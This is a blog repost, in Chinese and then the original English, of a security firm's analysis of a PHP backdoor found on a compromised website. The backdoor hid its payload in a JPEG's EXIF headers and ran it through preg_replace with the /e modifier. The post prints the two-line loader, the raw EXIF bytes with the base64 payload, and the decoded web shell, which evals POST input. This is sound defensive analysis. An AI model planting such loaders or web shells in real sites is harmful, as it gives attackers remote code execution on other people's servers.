几天前，我们研究团队的 Peter Gramantik 在一个被攻破的网站上发现一个非常有趣的后门。这个后门并没有依靠正常模式去隐藏起内容（比如 base64/gzip 编码），但是它却把自己的数据隐藏在 JPEG 图片的 EXIT 头部中了。它也使用 exif_read_data 和 preg_replace 两个 PHP 函数来读取 EXIF 头部和执行。
技术细节
这个后门可分为两部分。第一部分是 exif_read_data 函数读取图片头部，preg_replace 函数来执行内容。下面是我们在被攻破网站上发现的代码：
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
这两个函数本身是无害滴。exif_read_data 函数常用来读取图片，preg_replace 函数是替代字符内容。不过，preg_replace 函数函数有个隐藏并微妙的选项，如果你传入 “/e”，它会执行 eval() 中的内容，就不是去查询/替代了。
所以我们在查看 bun.jpg 文件时，发现后门的第二部分：
??????à^@^PJFIF^@^A^B^@^@d^@d^@^@??á^@??Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@??ì^@^QDucky^@^A^@^D^@^@^@<^@^@????^@^NAdobe^
这个文件用以常见的头部开始，但是在 ”make” 头部中混入了奇怪的关键字 ”/.*/e” 。有了这个执行修饰符， preg_replace 会执行 eval() 中传入的任意内容。
事情变得开始有趣了……
如果咱们继续来看看 EXIF 数据， 我们能发现， “eval ( base64_decode”隐藏在 ”Model“ 头部。把这些放在一起看，咱们就知道怎么回事了。攻击者是从 EXIF 中读取 Make 和 Model 头部信息，然后传入到 preg_replace 函数。只要我们修改 $exif[‘Make’] 和 $exif[‘Model’] ，就得到了最终的后门。
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
解码后我们可以看到是执行 $_POST[“zz1”] 提供的内容。完整解码后的后面在这里。
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
隐藏恶意软件
另外一个有意思的是，虽然 bun.jpg 和其他图片文件被修改了，但然后能加载并正常工作。实际上，在这些被攻破的站点，攻击者修改了站点上一个合法并之前就存在的图片。这是一种奇特的隐藏恶意软件的方法。
Malware Hidden Inside JPG EXIF Headers
uly 16, 2013 by Daniel Cid 62 Comments and 0 Reactions
A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.
Technical Details
The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.
When we look at the bun.jpg file, we find the second part of the backdoor:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode(“aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=’));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
The file starts normally with the common headers, but in the “Make” header it has a strange keyword: “/.*/e”. That’s the exact modifier used by preg_replace to execute (eval) whatever is passed to it.
Now things are getting interesting…
If we keep looking at the EXIF data, we can see the “eval ( base64_decode” hidden inside the “Model” header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif[‘Make’] and $exif[‘Model’] for what is in the file, we get the final backdoor:
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
Steganography Malware
Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.
Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).
转载请注明：jinglingshu的博客 » 一种隐藏在JPG图片EXIF中的后门
